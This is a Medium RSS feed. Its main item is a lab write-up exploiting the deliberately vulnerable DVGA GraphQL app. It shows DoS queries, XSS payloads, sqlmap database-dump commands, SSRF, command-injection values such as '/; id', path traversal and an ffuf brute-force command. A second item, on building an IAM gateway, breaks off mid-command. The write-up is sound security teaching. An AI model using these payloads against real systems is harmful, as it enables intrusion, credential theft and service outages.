<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kiza on Medium]]></title>
        <description><![CDATA[Stories by Kiza on Medium]]></description>
        <link>https://medium.com/@kizerh?source=rss-51da61495e5d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*tq7EgFykXclO_CIP</url>
            <title>Stories by Kiza on Medium</title>
            <link>https://medium.com/@kizerh?source=rss-51da61495e5d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 16:11:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kizerh/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Exploiting GraphQL: A Full-Spectrum Security Assessment Covering Introspection, Injection, and…]]></title>
            <link>https://kizerh.medium.com/exploiting-graphql-a-full-spectrum-security-assessment-covering-introspection-injection-and-560f49a44f36?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/560f49a44f36</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[graphql]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 15:32:20 GMT</pubDate>
            <atom:updated>2026-03-02T15:32:20.861Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting GraphQL: A Full-Spectrum Security Assessment Covering Introspection, Injection, and Resolver Weaknesses</h3><p>Author: <a href="https://kizerh.github.io/">https://kizerh.github.io</a></p><h3>Overview</h3><p>This project involved performing a structured security assessment against the Damn Vulnerable GraphQL Application, an intentionally insecure environment designed to expose common GraphQL misconfigurations and backend vulnerabilities. The objective was to identify, exploit, and analyze weaknesses specific to GraphQL implementations, ranging from schema exposure and authorization failures to injection and denial-of-service conditions.</p><p>GraphQL introduces a unique attack surface compared to traditional REST APIs. Instead of multiple endpoints, applications often expose a single /graphql endpoint capable of resolving complex nested queries. When improperly configured, this model can expose sensitive schema data, allow unbounded query execution, or provide attackers with a powerful interface to backend logic.</p><h3>Tools Used</h3><ul><li><strong>Damn Vulnerable Graphql Application</strong>, for information on how to install the application check <a href="https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application">https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application</a></li><li><strong>Burp Suite</strong> was used for intercepting and manipulating GraphQL queries and HTTP requests.</li><li><strong>GraphQL Voyager</strong> was used for visualizing the schema structure once introspection was obtained.</li><li><strong>gql-finder</strong>, a custom-built open-source tool, was used for endpoint discovery and initial GraphQL surface mapping. <a href="https://github.com/kizerh/gql-finder">https://github.com/kizerh/gql-finder</a></li><li><strong>graphwOOf</strong> was used to fingerprint the GraphQL engine and extract implementation details. <a href="https://github.com/dolevf/graphw00f">https://github.com/dolevf/graphw00f</a></li><li><strong>sqlmap</strong> was used where backend injection opportunities were suspected.</li></ul><h3>Execution</h3><h3>Section 1: Reconnaissance</h3><p>The first phase of the assessment focused on identifying exposed GraphQL endpoints and fingerprinting the underlying implementation. Because GraphQL applications typically expose a limited number of endpoints, accurate discovery at this stage is critical. A single overlooked endpoint can provide full schema visibility and direct access to backend logic.</p><h3>1.1 Endpoint Discovery Using gql-finder</h3><p>To identify potential GraphQL endpoints, I used my custom-built open-source tool, <strong>gql-finder</strong>. The tool is designed to enumerate common GraphQL paths and detect GraphQL behavior through response analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f4todi_QJ7K1c31pzrlkOw.png" /></figure><p>The scan revealed two accessible endpoints:</p><pre>/graphql<br>/graphiql</pre><p>The /graphql endpoint is the primary API interface used for query and mutation execution.</p><p>The /graphiql endpoint exposed the interactive GraphiQL developer interface. This interface, when accessible in production environments, significantly lowers the barrier for attackers by allowing interactive schema exploration and query testing directly from the browser.</p><h3>1.2 Engine Fingerprinting Using graphwOOf</h3><p>After endpoint discovery, the next step was to fingerprint the GraphQL engine and gather additional metadata. For this, I used <strong>graphwOOf</strong>, a reconnaissance tool designed specifically for GraphQL services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTFCo0WU7vok_x4QScnWfA.png" /></figure><p>The tool was used to:</p><ul><li>Detect the graphQL engine used (Graphene)</li><li>The attack surface matric, the technologies used ad the default settings that comes with the engine</li></ul><h3>Section 2: Schema Enumeration and Interface Bypass</h3><p>With endpoint reconnaissance completed, the next phase focused on extracting the full GraphQL schema and analyzing the available attack surface.</p><h3>2.1 Extracting the Full Schema via Introspection</h3><p>Using Burp Suite’s built-in GraphQL functionality, an introspection query was sent to the /graphql endpoint. Burp automatically generates a complete introspection query that retrieves: All available types, Queries and mutations, Input objects, Arguments, and Field relationships.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8t7t9BMuBWyNsANQlQiXEg.png" /><figcaption>click on any feature on the app that sends a request to the /graphql endpoint, send the request to repeater, right click on the requester, click “graphQL” and then “send introspection query”</figcaption></figure><p>After receiving the response, the schema output was saved into Burp’s Site Map. This step is important operationally because it allows structured navigation of the API surface without repeatedly sending introspection queries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sEwAMRDBegOs3IgRVoW4ow.png" /></figure><p>To analyze the results:</p><ol><li>Navigate to the <strong>Target</strong> tab.</li><li>Open the <strong>Site Map</strong> view.</li><li>Select the host under assessment.</li><li>Expand the /graphql entry.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1MW1KODE3iCiSqMiPy7_A.png" /></figure><p>Burp automatically parses and presents the introspection response, allowing visibility into all discovered queries and mutations.</p><h3>2.2 Attempting to Access the GraphiQL Interface</h3><p>After schema extraction, attention shifted to the /graphiql endpoint. Direct access initially returned an access denied response.</p><p>I inspected the request and response flow in Burp Suite. During analysis of the request headers and cookies, I identified a variable:</p><pre>env=graphiql:disabled</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZOxDk0t4SWxUhhZ3sLCUg.png" /></figure><p>This suggested that access control for the GraphiQL interface was controlled client-side via a cookie value rather than being enforced server-side.</p><h3>2.3 Cookie Manipulation to Bypass Interface Restriction</h3><p>To test this hypothesis, I intercepted the request in Burp and modified the cookie value:</p><p>From:</p><pre>env=graphiql:disabled</pre><p>To:</p><pre>env=graphiql:enabled</pre><p>After forwarding the modified request, access to the GraphiQL interface was granted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8KpocdsPhgSGXVg1MrANcg.png" /></figure><p>This confirmed that the restriction mechanism relied on client-controlled state rather than robust server-side validation. Such an implementation can be bypassed trivially by any user capable of modifying cookies.</p><p>To make the change persistent in the browser session:</p><ol><li>Open browser Developer Tools.</li><li>Navigate to <strong>Application</strong> → <strong>Cookies</strong>.</li><li>Locate the relevant cookie.</li><li>Modify the env value to graphiql:enabled.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wBzEwEx1vAwgsdXmpTq8ww.png" /></figure><p>After refreshing the page, the interactive GraphiQL interface remained accessible.</p><h3>Section 3: Denial of Service Exploitation</h3><p>After completing schema enumeration, I began reviewing available queries for performance characteristics and potential abuse cases. During this review, one resolver stood out:</p><pre>systemUpdate</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWQdcCo2nE9E0r3oM8yZSA.png" /></figure><p>Repeated execution showed that this query required significantly more processing time than other queries (note the processing time at the bottom right corner). Any resolver that is computationally expensive becomes a prime candidate for denial-of-service testing, particularly in GraphQL where multiple queries can be combined within a single request.</p><p>This phase focused on abusing GraphQL query flexibility to amplify server workload without triggering obvious rate-based defenses.</p><h3>3.1 Batch Query Attack</h3><p>GraphQL supports batching, allowing multiple queries to be submitted within a single HTTP request. If the backend does not enforce batch limits or query cost restrictions, attackers can force the server to execute expensive resolvers repeatedly in parallel.</p><p>To test this, I submitted the following request body:</p><pre>[<br>{&quot;query&quot;:&quot;query {\n  systemUpdate\n}&quot;,&quot;variables&quot;:{}},<br>{&quot;query&quot;:&quot;query {\n  systemUpdate\n}&quot;,&quot;variables&quot;:{}}<br>]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lh-3B9a7SFRQ0XxcMTzBhg.png" /></figure><p>This forces the server to process the systemUpdate resolver twice in one request (note the time). By increasing the number of entries in the array, the workload scales linearly or worse depending on backend implementation. When more than two queries wee batched it completely crashed the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UztjkuukwnocKcB3xiZZNQ.png" /></figure><p>Because batching occurs within a single HTTP transaction, traditional rate limiting based on request count or WAF may not detect the amplification. This makes batch abuse particularly dangerous when combined with expensive resolvers.</p><h3>3.2 Alias Abuse</h3><p>GraphQL aliases allow the same query to be executed multiple times within a single operation under different names. When query complexity is not restricted, aliases can replicate heavy operations without using batch arrays.</p><p>The following payload was used:</p><pre>query {<br>  u1: systemUpdate<br>  u2: systemUpdate<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wr_F6BVpVJ5F3XP818tN8Q.png" /></figure><p>Although syntactically clean, this forces the resolver to execute multiple times during a single request lifecycle.</p><p>Likewise sending more than two aliases completely crashed the server</p><h3>3.3 Deep Recursion Query Attack</h3><p>Using the introspection output imported into GraphQL Voyager, I visualized object relationships within the schema. This revealed a circular reference between two types:</p><ul><li>Owner</li><li>Paste</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3e8q4Exm2BQV4MWl83rHTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dshDPvwDcREnQYTfycuejQ.png" /></figure><p>Each owner contains pastes, and each paste references an owner. This bidirectional relationship enables recursive nesting.</p><p>Leveraging this structure, I crafted a deeply nested query:</p><pre>query {<br>  pastes {<br>    owner {<br>      pastes {<br>        owner {<br>          pastes {<br>            owner {<br>              pastes {<br>                owner {<br>                  pastes {<br>                    owner {<br>                      pastes {<br>                        owner {<br>                          name<br>                        }<br>                      }<br>                    }<br>                  }<br>                }<br>              }<br>            }<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CGUbVVgc9hkKsfNTpUSiRA.png" /><figcaption>normal request response time (1,000ms)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9N52t2vrRAirGBPG5W2JeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qjlToxxNEYf8vLZHr7uqUg.png" /></figure><p>This query forces repeated traversal of circular object relationships, dramatically increasing resolver execution cost.</p><p>In GraphQL implementations without depth limiting or query complexity analysis, such recursive queries can; Consume excessive CPU resources, Increase memory usage, Trigger long response times, Cause backend thread exhaustion</p><p>Because this exploitation occurs at the application layer rather than network flooding, it bypasses traditional volumetric DDoS protections.</p><h3>Section 4: Injection Attacks</h3><p>After evaluating availability weaknesses through denial-of-service testing, attention shifted to input handling within resolvers. GraphQL does not inherently protect against injection vulnerabilities. If resolver logic forwards user-controlled input directly into database queries or rendering templates, traditional injection classes remain exploitable.</p><h3>4.1 Stored Cross-Site Scripting</h3><p>While reviewing mutations discovered during schema enumeration, the createPaste mutation was identified as a potential injection point. The mutation accepts user-controlled input for both title and content fields, which are later rendered in the application interface.</p><p>To test for stored XSS, the following payloads were injected simultaneously:</p><ul><li>In the content field:</li></ul><pre>&lt;script&gt;alert(1)&lt;/&gt;</pre><ul><li>In the title field:</li></ul><pre>&lt;script&gt;alert(2)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbSbqKYFkik2qDocw6iEtg.png" /></figure><p>Upon sending the request and navigating to the page where it was rendered, both scripts executed successfully, resulting in two alert dialogs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9o-XFPqjrax0idnrYsrQYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q2oHAnzIMN9DLn0wiHtGQA.png" /></figure><p>This confirmed that:</p><ul><li>Input was stored without sanitization.</li><li>Output was rendered without proper encoding.</li><li>Script execution occurred in the browser context.</li></ul><p>Because the payload was stored server-side and executed whenever the paste was viewed, this constitutes a <strong>stored XSS vulnerability</strong>. In a real-world application, such a flaw could enable:</p><ul><li>Session hijacking</li><li>Credential theft</li><li>CSRF token exfiltration</li><li>Privilege escalation through administrative account compromise</li></ul><h3>4.2 SQL Injection</h3><p>During manual probing of query arguments, a parameter named filter of the pastesquery was identified as potentially vulnerable. When a single quote was appended to the argument value, the server returned an SQLite error message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEfCLfz19bcZsP2P85lN0Q.png" /></figure><p>This behavior indicated that user input was likely being interpolated directly into a SQL statement without proper parameterization.</p><p>To confirm exploitation potential, the value was first modified to &quot;*&quot; to prepare it for sqlmap automatic testing. The full HTTP request containing the vulnerable parameter was then saved locally as:</p><pre>request.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDUHwUonhX2Uspv5avZogQ.png" /></figure><p>This request file was supplied to sqlmap for automated testing.</p><h4>Confirming the Injection Point</h4><pre>sqlmap -r request.txt --dbms=sqlite</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uotOSfI0NqtybLwW5YXMbg.png" /></figure><p>This command instructed sqlmap to:</p><ul><li>Replay the exact HTTP request</li><li>Target SQLite specifically</li><li>Detect and confirm injection points</li></ul><p>The tool confirmed that the filter parameter was injectable.</p><h4>Enumerating Database Tables</h4><pre>sqlmap -r request.txt --dbms=sqlite -tables</pre><p>This step enumerated all available tables within the database, confirming database-level access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qc_eUpDn9qeHjkrfy-h3jA.png" /></figure><h4>Dumping Table Contents</h4><pre>sqlmap -r request.txt --dbms=sqlite -dump</pre><p>Using this command, the contents of all tables were extracted. Among the retrieved data were credentials for:</p><ul><li>admin</li><li>operator</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3tDR3OR5Mfc5XtTFM7rNkQ.png" /></figure><p>The successful extraction of privileged account credentials demonstrates full database compromise via SQL injection.</p><h3>Section 5: Server-Side Request Forgery</h3><p>During resolver enumeration, a mutation named importPaste was identified. Its purpose was to retrieve paste content from a user-supplied external source. Any feature that allows the backend to fetch remote resources is immediately high-risk, as it can potentially be abused to perform Server-Side Request Forgery.</p><p>The presence of this mutation indicated that the application would make outbound HTTP requests based on user-controlled input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0Gizk3lS8VdikVJMkU7lg.png" /></figure><h3>5.1 Initial SSRF Testing</h3><p>To test whether the mutation could be abused to access internal services, I supplied a localhost address as the external source parameter. Instead of returning meaningful output, the application appeared to hang and eventually returned an empty response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8alRT2-qHeF3D7AlYfglfQ.png" /></figure><p>This behavior suggested that:</p><ul><li>The backend was attempting to reach the supplied address.</li><li>The request may have been blocked or unreachable.</li><li>The application did not return meaningful error handling output.</li></ul><p>To confirm whether the backend was actually attempting the internal connection, I needed a reliable way to observe outbound traffic from within the container running the application.</p><h3>5.2 Setting Up an Internal Listener</h3><p>Because the target application was running inside a Docker container, I opened a listening port inside that same container to detect internal requests.</p><p>First, I started a listener:</p><pre>docker exec -it dvga sh -lc &#39;nc -lvnp 1234&#39;</pre><p>If nc is not installed, you need to install it inside the container using root privileges:</p><pre>docker exec -it -u 0 dvga bash -lc &quot;apt-get update &amp;&amp; apt-get install -y netcat-openbsd&quot;</pre><p>After installing netcat, start the listener:</p><pre>docker exec -it dvga sh -lc &#39;nc -lvnp 1234&#39;</pre><p>This opened a listening socket on port 1234 inside the container.</p><h3>5.3 Confirming SSRF Behavior</h3><p>With the listener active, i sent the importPaste request with the localhost and the port again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8alRT2-qHeF3D7AlYfglfQ.png" /></figure><p>After sending the request, the netcat listener immediately received a connection attempt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q0hgdPienZ2VaxyFFbDujg.png" /></figure><p>This confirmed that:</p><ul><li>The backend server was making HTTP requests based on user input.</li><li>The request was executed within the container context.</li><li>The mutation could access internal services.</li></ul><p>Even though the application returned an empty response in the UI, the backend network activity proved that SSRF was successful.</p><p>This vulnerability allows attackers to:</p><ul><li>Access internal services running on localhost</li><li>Interact with services not exposed externally</li><li>Potentially reach metadata services in cloud deployments</li><li>Pivot to internal network scanning</li><li>Interact with internal management ports</li></ul><p>In real-world environments, SSRF vulnerabilities can be leveraged to extract cloud instance metadata, access internal administrative panels, or pivot deeper into the infrastructure.</p><h3>Section 6: Command Injection</h3><p>After confirming SSRF through the importPaste mutation, I began analyzing whether the backend was invoking system-level commands to fetch external resources. Applications that use utilities such as curl, wget, or similar shell-based mechanisms to retrieve remote content often introduce command injection risk when user input is not properly sanitized.</p><h3>6.1 Command Injection via importPaste Mutation</h3><p>Since the importPaste mutation accepted a user-controlled external source, and SSRF was already confirmed, the next step was to test whether the application was constructing a system command internally.</p><p>To test for shell injection, I appended a command separator to the input:</p><pre>&quot;path&quot;: &quot;/; id&quot;</pre><p>The semicolon is commonly used in shell environments to chain commands. If the application internally executed something like:</p><pre>curl http://kizerh.github.io/</pre><p>Then appending ; id would result in:</p><pre>curl http://kizerh.github.io/; id</pre><p>This would execute the id command on the server after the initial command.</p><p>Upon sending the modified mutation request, the response confirmed that the injected command executed successfully. The output of the id command was returned, demonstrating that arbitrary system commands could be executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAg1P79QMK84er7LaS2zew.png" /></figure><p>This confirmed that:</p><ul><li>The backend was invoking a shell command using unsanitized user input.</li><li>No input validation or command isolation was implemented.</li><li>The mutation was vulnerable to OS-level command injection.</li></ul><p>The impact of this vulnerability is severe, as it allows remote code execution under the privileges of the application process.</p><h3>6.2 Command Injection via systemDiagnostic Query</h3><p>During schema enumeration, another resolver named systemDiagnostic was identified. This query accepted a direct argument “cmd” indicating the command to run. However, unlike the previous mutation, this resolver required authentication. However, earlier SQL injection exploitation had exposed credentials for privileged accounts, including the admin account.</p><p>Using the extracted admin credentials, I authenticated successfully and accessed the protected query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r3-sogq2OZDJRL5CIsWsHQ.png" /></figure><p>This second injection path differed from the first in that it was explicitly designed to execute system commands. However, access control was insufficient because:</p><ul><li>The resolver exposed direct command execution functionality.</li><li>Authentication alone was relied upon for protection.</li><li>No command restrictions or whitelisting were enforced.</li></ul><p>Once administrative credentials were compromised through SQL injection, this resolver effectively provided direct remote code execution capability.</p><h3>Section 7: Path Traversal and Arbitrary File Write</h3><p>Following command injection validation, I continued reviewing resolvers that interact with the file system. A mutation named uploadPaste was identified, which allows users to upload content from their local system and store it server-side.</p><p>Any resolver that writes files to disk introduces potential risks, especially if user-controlled file paths are accepted without normalization or restriction.</p><h3>7.1 Initial File Upload Behavior</h3><p>To observe baseline behavior, I uploaded a simple file named index.html containing:</p><pre>&lt;h1&gt;hello&lt;/h1&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMpYC5O3Sp1y84kXTdgptw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ixcIVfoJD9Ke1HQflkxD8A.png" /></figure><p>The file was successfully uploaded and rendered in the application interface as an H1 header. This confirmed two important behaviors:</p><ul><li>Uploaded content was stored and retrievable.</li><li>HTML content was rendered directly without sanitization.</li></ul><p>While the primary focus here was file handling, this behavior also indicates weak output encoding practices (HTML Injection).</p><h3>7.2 Attempting Directory Traversal</h3><p>After confirming upload functionality, I tested whether the resolver properly restricted file paths.</p><p>Instead of using a standard filename, I supplied a traversal sequence:</p><pre>../../../../../../etc/path_traversal.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrA2GPBhtBkO0uIrOrN01g.png" /></figure><p>The application returned a permission denied error. Although the write failed, this response was significant because it confirmed that the application attempted to resolve the supplied path literally. Properly secured file handling should normalize paths and restrict writes to a designated directory before filesystem interaction occurs.</p><p>Additional attempts targeting /usr produced similar permission errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*txWp5RGCn5xKWtJiNGBMZA.png" /></figure><p>This behavior confirmed that:</p><ul><li>The application did not sanitize traversal sequences.</li><li>Path resolution occurred before validation.</li><li>The backend attempted access to sensitive system directories.</li></ul><h3>7.3 Successful Arbitrary File Write to /tmp</h3><p>Since writes to system directories failed due to permission constraints rather than validation controls, I tested a less restricted directory:</p><pre>../../../../../tmp/path_traversal.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KieV_k9bODI-QLSKBi0NlA.png" /></figure><p>This time, the application returned a normal success response.</p><p>To confirm whether the file was actually written to disk, I leveraged the previously identified command injection vulnerability. Using system command execution, I inspected the target path:</p><pre>&quot;/; cat /tmp/path_traversal.html&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EMTog5pkdzWrZYQYg-j5Yg.png" /></figure><p>The contents of the uploaded file were present in the /tmp directory, confirming that arbitrary file write was successful.</p><p>This vulnerability allows attackers to:</p><ul><li>Write files outside intended upload directories</li><li>Potentially overwrite application resources</li><li>Stage malicious files for later execution</li><li>Drop backdoors or persistence mechanisms</li><li>Combine with command injection for privilege escalation</li></ul><p>The fact that writes to /etc and /usr failed due to permission restrictions does not mitigate the vulnerability. It demonstrates that exploitation impact is determined by runtime privileges rather than secure input validation.</p><h3>Section 8: Brute Force and Authentication Weaknesses</h3><p>After exploiting database-level vulnerabilities and extracting valid credentials, the next logical step was to evaluate the robustness of the authentication mechanism itself. Even when credentials are unknown, weak login rate limiting can allow attackers to brute force accounts directly through the GraphQL API.</p><p>The login mutation was identified as the authentication entry point. Because GraphQL exposes authentication through structured mutations rather than traditional form submissions, brute force testing must be performed at the API level.</p><h3>8.1 Testing Login Rate Limiting</h3><p>To assess whether the application enforced any throttling or lockout mechanisms, I attempted to brute force the password for the admin account using ffuf.</p><p>The following command was used:</p><pre>ffuf -u http://localhost:5013/graphql \<br>  -X POST \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;query&quot;:&quot;mutation($password: String, $username: String){ login(password: $password, username: $username){ accessToken refreshToken }}&quot;,&quot;variables&quot;:{&quot;password&quot;:&quot;FUZZ&quot;,&quot;username&quot;:&quot;admin&quot;}}&#39; \<br>  -w password.txt \<br>  -t 20 \<br>  -rate 50 \<br>  -mc all</pre><p>This configuration performs the following:</p><ul><li>Sends POST requests to the /graphql endpoint.</li><li>Targets the login mutation.</li><li>Iterates through a password wordlist.</li><li>Uses 20 concurrent threads.</li><li>Sends up to 50 requests per second.</li><li>Matches all HTTP response codes to observe behavioral differences.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7BvNGeFX_b9ksGhRXVeaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*64NvJEQVVEbXNTvK9wgJCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5hUx3WsxbnXY43qED4PPkQ.png" /></figure><p>The attack traffic was successfully processed without any blocking, throttling, or delay mechanisms being triggered. No rate limiting, CAPTCHA enforcement, or account lockout controls were observed.</p><h3>Section 9: Information Disclosure via Stack Trace Errors</h3><p>During the assessment, I also tested how the application handled malformed GraphQL requests and whether it exposed internal debugging information. Error handling is often overlooked in GraphQL deployments, especially when development settings leak into environments that should behave like production.</p><p>To trigger an error deliberately, I sent an invalid query through the GraphiQL interface:</p><pre>query {kiza}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbbf316FKkxugR5u47219w.png" /></figure><p>Because kiza is not a valid field on the root Query type, the server correctly returned a GraphQL validation error. However, the response also included detailed stack trace information. The returned error output exposed internal implementation details such as:</p><ul><li>The application framework and runtime components involved in request handling</li><li>Absolute filesystem paths within the server environment</li><li>Library and package names and their locations</li><li>Function call flow and execution context from the application stack</li></ul><h3>Conclusion</h3><p>The assessment demonstrated how a misconfigured GraphQL application can expose a wide range of vulnerabilities when introspection, resolver validation, and query limits are not properly enforced.</p><ul><li>Full schema exposure via introspection</li><li>Unauthorized access to developer tooling interfaces</li><li>Application-layer denial of service through query complexity abuse</li><li>Backend command injection and SSRF</li><li>Persistent client-side injection through stored XSS</li><li>Arbitrary file write via path traversal</li><li>Information disclosure through stack traces</li><li>No rate limiting controls susceptible to brute force</li></ul><p>This project highlights the importance of treating GraphQL as a high-privilege interface that requires strict controls such as introspection disabling in production, query depth limiting, input sanitization, resolver-level authorization checks, and robust error handling.</p><p>The assessment reinforces that GraphQL security requires both API-layer protections and secure backend development practices. When those controls are absent, a single exposed endpoint can become a powerful attack surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*CKf9sgDk936g5ZVKfcExSQ@2x.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=560f49a44f36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Designing a Secure IAM Architecture with NGINX, OAuth2-Proxy, Redis, Keycloak, and Flask]]></title>
            <link>https://kizerh.medium.com/designing-a-secure-iam-architecture-with-nginx-oauth2-proxy-redis-keycloak-and-flask-993d4ea0f39f?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/993d4ea0f39f</guid>
            <category><![CDATA[nginx]]></category>
            <category><![CDATA[oauth2-proxy]]></category>
            <category><![CDATA[iam-roles]]></category>
            <category><![CDATA[keycloak]]></category>
            <category><![CDATA[flask]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Wed, 17 Dec 2025 14:30:12 GMT</pubDate>
            <atom:updated>2026-05-04T11:18:40.371Z</atom:updated>
            <content:encoded><![CDATA[<p>Author: <a href="https://kiza.online/">https://kiz</a>erh.github.io</p><h3>Overview</h3><p>This project focused on designing and implementing a modern Identity and Access Management architecture that enforces centralized authentication, consistent policy enforcement, and controlled authorization across web applications. The environment was built around a reverse proxy driven access model, where all inbound traffic is evaluated before reaching application logic.</p><p>The solution integrates NGINX, oauth2 proxy, Redis, Keycloak, and a Flask backend to demonstrate how authentication, session management, authorization, and privilege governance can be cleanly separated while remaining tightly coordinated. In addition to the access flow, the project introduced an automated privilege access review mechanism to address long lived elevated permissions within the identity platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SRhrp5WEYP6QPOlVt0dhrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Sngd2H_9VgQJTpbI-1ENw.png" /></figure><h3>The Challenge</h3><p>Modern applications often fail not because authentication is absent, but because it is implemented inconsistently across services. Common issues include direct access to backend services, duplicated authentication logic in applications, weak session handling, and privileged roles persisting long after they are needed.</p><p>The challenge was to design an architecture that enforces authentication before application access, centralizes identity decisions, supports single sign on and multi factor authentication, and introduces governance controls to reduce privilege sprawl. The system needed to ensure that backend applications remain focused on business logic while identity enforcement and session security are handled upstream.</p><h3>The Approach</h3><p>The solution adopted a gateway first identity enforcement model. NGINX was positioned as the single entry point, responsible for routing, rate limiting, and blocking unauthenticated traffic before it reaches any application. Authentication was delegated to oauth2 proxy, which abstracts OAuth and OpenID Connect complexity away from backend services and maintains secure user sessions.</p><p>Keycloak was used as the centralized identity provider, issuing tokens, enforcing authentication policies, and supporting enterprise grade capabilities such as MFA and SSO. Redis was introduced as a shared session store to ensure oauth2 proxy sessions remain consistent, resilient, and scalable across restarts or multiple instances.</p><p>The Flask application was intentionally kept lean. It relied on trusted identity headers and token claims for authorization decisions, ensuring that authentication logic was not duplicated at the application layer.</p><p>To address identity governance, a custom privilege access review script was developed. The script evaluates users with elevated roles within a Keycloak realm, checks their last activity timestamp, and removes privileged access when inactivity exceeds a defined threshold. This introduced a practical control for reducing standing privileges and enforcing least privilege over time.</p><h3>Tools Used</h3><ul><li><strong>NGINX</strong> was used as the reverse proxy and policy enforcement gateway, handling traffic routing, rate limiting, and authentication enforcement.</li><li><strong>oauth2-proxy</strong> served as the authentication middleware, managing OAuth and OpenID Connect flows, maintaining sessions, and injecting trusted identity headers into backend requests.</li><li><strong>Redis</strong> acted as the session storage backend for oauth2 proxy, ensuring session persistence, reducing cookie bloat, and enabling horizontal scalability without losing authentication state.</li><li><strong>Keycloak</strong> provided centralized identity management, token issuance, role based access control, multi factor authentication, and single sign on across applications.</li><li><strong>Flask</strong> was used to implement the backend application, focusing on authorization checks and business logic rather than authentication handling.</li><li>A custom privilege access review script was developed to automate the identification and removal of inactive privileged users within the Keycloak realm.</li></ul><h3>The Execution</h3><h3>Installation of Keycloak</h3><p>Keycloak was deployed as a containerized service to provide centralized identity management, token issuance, and authentication policy enforcement for the environment. Running Keycloak in a container allowed for a clean, repeatable setup while keeping the identity layer isolated from application logic.</p><p>The following command was used to pull the official Keycloak image and start the service:</p><pre>sudo docker run -d -p 